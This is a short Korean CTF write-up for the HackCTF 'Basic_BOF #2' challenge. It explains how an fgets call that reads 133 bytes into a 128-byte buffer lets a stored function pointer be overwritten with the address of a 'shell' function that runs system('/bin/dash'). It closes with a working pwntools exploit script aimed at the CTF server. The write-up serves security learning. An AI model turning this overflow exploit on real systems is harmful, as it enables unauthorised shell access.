wargame/HACKCTF

Basic_BOF #2

amoogotomollayo 2022. 3. 15. 20:33

두 번째 BOF 문제입니다.

 

맨 처음 0x80484b4를 ebp - 0xc에 넣습니다.

 

fgets(ebp - 0x8c, 0x85, stdin) 함수를 실행합니다.

 

 

입력을 받은 후 ebp - 0xc에 있는 함수를 실행합니다.

ebp - 0x8c와 ebp - 0xc의 거리는 0x80는 128byte이고 fgets함수를 통해 입력할 수 있는 데이터는 133byte입니다.

따라서 BOF를 이용해 ebp - 0xc의 값을 다른 함수의 주소로 변조할 수 있습니다. 

 

 

nm 명령어로 심볼들을 확인해보니 shell라는 함수를 찾았습니다.

 

해당 함수는 system("/bin/dash")를 실행하는 함수입니다.

 

이번 문제는 BOF를 통해 ebp - 0xc의 값을 shell 함수의 주소 0x0804849b로 변조하여 FLAG를 획득해야 합니다.

 

파이썬 코드와 결과는 아래와 같습니다.

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3001)

payload = b"A" * 128 + p32(0x0804849b)

r.send(payload)

r.interactive()